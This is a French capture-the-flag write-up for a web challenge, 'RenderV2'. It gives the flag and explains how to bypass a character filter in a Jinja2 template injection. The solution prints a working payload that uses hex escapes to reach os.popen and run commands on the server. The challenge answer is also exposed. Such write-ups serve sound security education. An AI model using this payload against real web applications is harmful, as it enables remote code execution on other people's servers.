RenderV2

Catégorie: Web Difficulté: - Flag: CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}

Challenge

file-archive
445B
circle-info

Description


Bon mon petit site web s'est fait poutrer je crois...

Par contre maintenant j'ai mis beaucoup de filtres, normalement ça va être dur de récupérer le flag qui est dans flag.txt ! 😾

http://intro.ctfrei.fr:6005arrow-up-right

circle-exclamation

Solution

Il est recommandé de voir Render pour comprendre le fonctionnement de la vulnérabilité, ici, nous n'allons se concentrer que sur le bypass de la restriction de caractères.

Sur le wiki dont nous avons parlé dans la partie 1, un payloadarrow-up-right existe déjà pour éviter tous ces caractères, il suffit de l'adapter, ce qui donne :

{{ request | attr('application') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os') | attr('popen')('<encoded_command>') | attr('read')() }}

Ensuite, il faut encoder notre commande en hexa pour éviter le filtre de caractère. On peut créer un script python pour automatiser tout ça :

oui oui, on avait les droits pour modifier flag.txt :)

Mis à jour